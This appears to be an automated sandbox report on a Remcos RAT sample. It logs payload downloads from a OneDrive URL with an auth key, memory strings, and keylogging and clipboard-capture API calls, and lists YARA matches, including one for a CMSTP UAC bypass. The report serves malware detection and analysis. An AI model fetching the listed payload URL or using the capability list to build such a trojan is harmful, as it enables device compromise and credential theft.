Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\Public\Libraries\nmfsxfjX.pif

Code function: 6_1_0041B380 InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

6_1_0041B380

Source: global traffic	HTTP traffic detected: GET /download?resid=9ADCDEDB531E38FE%21107&authkey=!AIYYWqDY10e5-pU HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=9ADCDEDB531E38FE%21107&authkey=!AIYYWqDY10e5-pU HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=9ADCDEDB531E38FE%21107&authkey=!AIYYWqDY10e5-pU HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com

Source: unknown

DNS traffic detected: queries for: onedrive.live.com

Source: udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2134174462.000000007F130000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2134174462.000000007F130000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2134174462.000000007F130000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2134174462.000000007F130000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2134174462.000000007F130000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
Source: udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2134174462.000000007F130000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2134174462.000000007F130000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2134174462.000000007F130000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2134174462.000000007F130000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2134174462.000000007F130000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
Source: udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2134174462.000000007F130000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: nmfsxfjX.pif	String found in binary or memory: http://geoplugin.net/json.gp
Source: udVh4Ist4Z.exe, 00000000.00000003.2139310911.000000007E9D0000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2163236530.000000007EA60000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000006.00000001.2139650597.0000000000490000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000400000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000400000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp/C
Source: udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2134174462.000000007F130000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2134174462.000000007F130000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2134174462.000000007F130000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2134174462.000000007F130000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2134174462.000000007F130000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2134174462.000000007F130000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0C
Source: remcos.exe, remcos.exe, 0000000C.00000000.2337823304.0000000000416000.00000002.00000001.01000000.00000007.sdmp, remcos.exe, 0000000C.00000002.2338890937.0000000000416000.00000002.00000001.01000000.00000007.sdmp, remcos.exe, 0000000D.00000000.2418876564.0000000000416000.00000002.00000001.01000000.00000007.sdmp, remcos.exe, 0000000D.00000002.2442004580.0000000000416000.00000002.00000001.01000000.00000007.sdmp, nmfsxfjX.pif, 00000010.00000000.2558844631.0000000000416000.00000002.00000001.01000000.00000006.sdmp, remcos.exe, 00000011.00000002.2566375553.0000000000416000.00000002.00000001.01000000.00000009.sdmp, remcos.exe, 00000011.00000000.2565214757.0000000000416000.00000002.00000001.01000000.00000009.sdmp, remcos.exe, 00000012.00000002.2620397438.0000000000416000.00000002.00000001.01000000.00000009.sdmp, remcos.exe, 00000012.00000000.2619943576.0000000000416000.00000002.00000001.01000000.00000009.sdmp, remcos.exe.10.dr, remcos.exe.6.dr, nmfsxfjX.pif.0.dr	String found in binary or memory: http://www.pmail.com
Source: udVh4Ist4Z.exe, 00000000.00000002.2140385254.000000000072A000.00000004.00000020.00020000.00000000.sdmp, Xjfxsfmn.PIF, 00000008.00000003.2293558943.0000000000939000.00000004.00000020.00020000.00000000.sdmp, Xjfxsfmn.PIF, 0000000F.00000003.2559378885.000000000076D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://live.com/
Source: udVh4Ist4Z.exe, 00000000.00000002.2140385254.0000000000702000.00000004.00000020.00020000.00000000.sdmp, Xjfxsfmn.PIF, 00000008.00000003.2293558943.00000000008D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/
Source: Xjfxsfmn.PIF, 0000000F.00000003.2559378885.00000000006F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/S
Source: Xjfxsfmn.PIF, 0000000F.00000002.2569407559.00000000141B2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/download?resid=9ADCDEDB531E38FE%21107&authkey=
Source: udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2134174462.000000007F130000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: udVh4Ist4Z.exe, 00000000.00000002.2140385254.000000000072A000.00000004.00000020.00020000.00000000.sdmp, Xjfxsfmn.PIF, 00000008.00000003.2293558943.0000000000939000.00000004.00000020.00020000.00000000.sdmp, Xjfxsfmn.PIF, 0000000F.00000003.2559378885.000000000076D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://xirfeg.sn.files.1drv.com/
Source: Xjfxsfmn.PIF, 0000000F.00000003.2559378885.000000000076D000.00000004.00000020.00020000.00000000.sdmp, Xjfxsfmn.PIF, 0000000F.00000003.2559378885.0000000000764000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://xirfeg.sn.files.1drv.com/y4mA7VtsLBctMjPvNeW-nBjYzK-kMyIJaIZdFZhf0ai66qWNCa5Jqdc_iM5uVKa3zxn
Source: Xjfxsfmn.PIF, 00000008.00000003.2293558943.0000000000939000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://xirfeg.sn.files.1drv.com/y4mQLd7Jb4tXEApwTb1qUvLYu4AYaX9rqayqbrqvAn-5-ThXvkZfJF26xlkeR3Ny-gJ
Source: Xjfxsfmn.PIF, 0000000F.00000002.2560602263.0000000000772000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://xirfeg.sn.files.1drv.com/y4mf57oWea_lC5UFEW7heHii22ItiVRqzOkuZoz6yyafu_P62cjXQyR0S8WE0jPq8Gh
Source: udVh4Ist4Z.exe, 00000000.00000002.2140385254.000000000071C000.00000004.00000020.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2140385254.000000000072A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://xirfeg.sn.files.1drv.com/y4mmJkpN2-URpDPce1turH6bNoPZHs8qohGTBPPgUSqUu1WeGjpTknCmr6n8UWtLOer
Source: Xjfxsfmn.PIF, 0000000F.00000003.2559378885.000000000076D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://xirfeg.sn.files.1drv.com:443/y4mA7VtsLBctMjPvNeW-nBjYzK-kMyIJaIZdFZhf0ai66qWNCa5Jqdc_iM5uVKa
Source: Xjfxsfmn.PIF, 00000008.00000003.2293558943.0000000000939000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://xirfeg.sn.files.1drv.com:443/y4mQLd7Jb4tXEApwTb1qUvLYu4AYaX9rqayqbrqvAn-5-ThXvkZfJF26xlkeR3N
Source: udVh4Ist4Z.exe, 00000000.00000002.2140385254.000000000071C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://xirfeg.sn.files.1drv.com:443/y4mmJkpN2-URpDPce1turH6bNoPZHs8qohGTBPPgUSqUu1WeGjpTknCmr6n8UWt

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724

Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49725 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to register a low level keyboard hook

Source: C:\Users\Public\Libraries\nmfsxfjX.pif

Code function: 6_1_0040A2B8 SetWindowsHookExA 0000000D,0040A2A4,00000000

6_1_0040A2B8

Source: C:\Users\Public\Libraries\nmfsxfjX.pif

Code function: 6_1_0040B70E OpenClipboard,GetClipboardData,CloseClipboard,

6_1_0040B70E

Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_004168C1 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,		6_1_004168C1
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_004168C1 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,		10_1_004168C1

Source: C:\Users\Public\Libraries\nmfsxfjX.pif

Code function: 6_1_0040B70E OpenClipboard,GetClipboardData,CloseClipboard,

6_1_0040B70E

Source: C:\Users\Public\Libraries\nmfsxfjX.pif

Code function: 6_1_0040A3E0 GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,

6_1_0040A3E0

Source: Yara match	File source: Process Memory Space: udVh4Ist4Z.exe PID: 2056, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nmfsxfjX.pif PID: 6400, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nmfsxfjX.pif PID: 2420, type: MEMORYSTR

E-Banking Fraud

Yara detected Remcos RAT

Source: Yara match	File source: 10.1.nmfsxfjX.pif.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.1.nmfsxfjX.pif.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.1.nmfsxfjX.pif.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.1.nmfsxfjX.pif.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.1.nmfsxfjX.pif.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.1.nmfsxfjX.pif.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2139310911.000000007E9D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000001.2293209618.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2163236530.000000007EA60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000001.2293209618.0000000000490000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000001.2293209618.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000001.2559054856.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000001.2139650597.0000000000490000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000001.2559054856.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000001.2559054856.0000000000490000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: udVh4Ist4Z.exe PID: 2056, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nmfsxfjX.pif PID: 5000, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nmfsxfjX.pif PID: 6400, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nmfsxfjX.pif PID: 2420, type: MEMORYSTR

Spam, unwanted Advertisements and Ransom Demands

Contains functionalty to change the wallpaper

Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_0041C9E2 SystemParametersInfoW,		6_1_0041C9E2
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_0041C9E2 SystemParametersInfoW,		10_1_0041C9E2

System Summary

Malicious sample detected (through community Yara rule)

Source: 10.1.nmfsxfjX.pif.400000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 10.1.nmfsxfjX.pif.400000.3.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 10.1.nmfsxfjX.pif.400000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 16.1.nmfsxfjX.pif.400000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 16.1.nmfsxfjX.pif.400000.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 16.1.nmfsxfjX.pif.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 6.1.nmfsxfjX.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 6.1.nmfsxfjX.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 6.1.nmfsxfjX.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 10.1.nmfsxfjX.pif.400000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 10.1.nmfsxfjX.pif.400000.3.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 10.1.nmfsxfjX.pif.400000.3.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 6.1.nmfsxfjX.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 6.1.nmfsxfjX.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 6.1.nmfsxfjX.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 16.1.nmfsxfjX.pif.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 16.1.nmfsxfjX.pif.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 16.1.nmfsxfjX.pif.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000000.00000003.2139310911.000000007E9D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 0000000A.00000001.2293209618.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000000.00000002.2163236530.000000007EA60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 0000000A.00000001.2293209618.0000000000490000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
